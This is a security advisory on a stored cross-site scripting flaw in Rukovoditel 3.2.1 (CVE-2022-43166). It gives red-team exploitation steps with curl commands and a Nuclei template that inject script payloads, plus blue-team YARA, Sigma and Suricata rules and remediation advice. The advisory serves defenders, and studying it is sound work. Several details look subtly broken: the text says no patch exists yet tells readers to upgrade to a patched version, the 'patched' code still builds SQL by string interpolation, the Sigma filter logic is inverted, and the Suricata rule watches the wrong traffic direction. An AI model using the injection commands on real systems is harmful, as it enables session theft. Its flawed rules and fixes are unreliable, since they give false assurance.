CVE-2022-43166

Executive Summary

CVE-2022-43166 is a stored cross-site scripting (XSS) vulnerability identified in Rukovoditel version 3.2.1. The flaw resides in the Global Entities feature, specifically within the /index.php?module=entities/entities endpoint. An authenticated attacker can inject arbitrary web scripts or HTML into the Name parameter when adding a new entity. This stored XSS can lead to session hijacking, data theft, or application defacement when an administrator or other user views the malicious entity. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch has been released by the vendor, making mitigation dependent on upgrading to a patched version or applying manual input sanitization.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Rukovoditel web application, which is a PHP-based project management tool. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must view the malicious entity
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• EPSS Score: 0.04456% (Percentile: 0.89112) – low probability of exploitation in the wild

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Rukovoditel application. The Name parameter in the entity creation form is not properly sanitized or encoded before being stored in the database and later rendered in the browser. An authenticated attacker can craft a payload such as <script>alert(document.domain)</script> and submit it via the POST /index.php?module=entities/&action=save endpoint. When an administrator or other user navigates to the entities list, the payload executes in their browser context.

The attack flow:

1. Attacker authenticates to Rukovoditel.
2. Attacker sends a POST request to /index.php?module=entities/&action=save with the name parameter containing malicious JavaScript.
3. The payload is stored in the database.
4. When a victim (e.g., an admin) views the entities page, the script executes, potentially stealing cookies, redirecting to a phishing site, or performing actions on behalf of the victim.

The Nuclei template confirms the vulnerability by injecting <script>alert(document.domain)</script> and checking for its presence in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel 3.2.1): The Name parameter is likely stored and rendered without sanitization. For example, in the entity creation logic:

// Vulnerable: direct insertion without escaping
$name = $_POST['name'];
$sql = "INSERT INTO entities (name) VALUES ('$name')";
// Later, when rendering:
echo "<td>$name</td>";

Patched Code (Hypothetical): A patched version would use proper output encoding or input validation:

// Patched: escape output
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO entities (name) VALUES ('$name')";
// Or use prepared statements
$stmt = $db->prepare("INSERT INTO entities (name) VALUES (?)");
$stmt->bind_param("s", $name);
// When rendering:
echo "<td>" . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Rukovoditel instance (v3.2.1 or lower)
• Valid user credentials (low-privilege account)

Exploitation Steps:

1. Log in to the application.
2. Navigate to the Global Entities feature (/index.php?module=entities/entities).
3. Click "Add New Entity" and inject a payload into the Name field, e.g., <script>alert(document.cookie)</script>.
4. Submit the form.
5. Wait for an administrator to view the entities list, or share the link to trigger the XSS.

Automated Exploit (using Nuclei):

nuclei -t CVE-2022-43166.yaml -u http://target.com -var username=attacker -var password=pass123

Manual Exploit (cURL):

# Step 1: Get login page and extract nonce
curl -c cookies.txt -s http://target.com/index.php?module=users/login | grep -oP 'id="form_session_token" value="\K[^"]+'

# Step 2: Login
curl -b cookies.txt -c cookies.txt -d "form_session_token=NONCE&username=attacker&password=pass123" http://target.com/index.php?module=users/login&action=login

# Step 3: Inject XSS payload
curl -b cookies.txt -d "form_session_token=NONCE&group_id=&name=<script>alert(document.cookie)</script>&sort_order=0&notes=" http://target.com/index.php?module=entities/&action=save

Blue Team

Detection:

• Monitor HTTP POST requests to /index.php?module=entities/&action=save for suspicious name parameters containing <script>, onerror, onload, or other HTML event handlers.
• Look for anomalous user agents or repeated failed login attempts followed by entity creation.

Hunting:

• Search database entries in the entities table for HTML tags or JavaScript code in the name column.
• Review web server logs for requests to /index.php?module=entities/&action=save with encoded payloads.

Lab Setup:

• Deploy a vulnerable Rukovoditel 3.2.1 instance using Docker:

docker run -d -p 80:80 --name rukovoditel rukovoditel/rukovoditel:3.2.1

• Use a browser or cURL to test the exploit.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /index.php?module=entities/&action=save with name parameter containing <script> tags.
  • Requests with Content-Type: application/x-www-form-urlencoded and payloads like name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E.
• Host IOCs:
  • Database entries in the entities table with name column containing HTML/JavaScript.
  • Web server logs showing repeated entity creation attempts from the same IP.
• File IOCs:
  • No specific file-based IOCs; the vulnerability is purely web-based.

Detection Engineering

YARA Rule

rule CVE_2022_43166_Rukovoditel_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel entity names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-43166"
        severity = "medium"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: CVE-2022-43166 - Rukovoditel Stored XSS via Entity Name
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to Rukovoditel entity creation endpoint with XSS payloads in the name parameter.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43166
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?module=entities/&action=save'
        cs-uri-query|contains: 'name='
    filter:
        cs-uri-query|contains: 'name=<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in entity names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-43166 - Rukovoditel Stored XSS via Entity Name";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php?module=entities/&action=save";
    http_uri;
    content:"name=";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2022-43166;
)

Nuclei Template (Provided)

id: CVE-2022-43166

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Global Entities feature (/index.php?module=entities/entities) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add New Entity".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/2
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43166
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43166
    cwe-id: CWE-79
    epss-score: 0.04456
    epss-percentile: 0.89112
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&group_id=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

Remediation & Mitigation

Immediate Actions:

1. Upgrade Rukovoditel to a version higher than 3.2.1. If no patched version is available, consider disabling the Global Entities feature or restricting access to trusted users only.
2. Implement Input Validation: Sanitize the Name parameter by stripping or encoding HTML tags. Use a whitelist approach for allowed characters.
3. Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering in the browser (e.g., using htmlspecialchars() in PHP).
4. Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS, e.g., Content-Security-Policy: default-src 'self'; script-src 'none';.
5. Web Application Firewall (WAF): Create rules to block requests containing <script> tags in the name parameter.

Long-Term Measures:

• Conduct regular security audits and penetration testing.
• Implement a secure development lifecycle with input validation and output encoding as standard practices.
• Monitor for similar vulnerabilities in other parameters.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: CB9C79A7D9BE2DC9893D3209] */}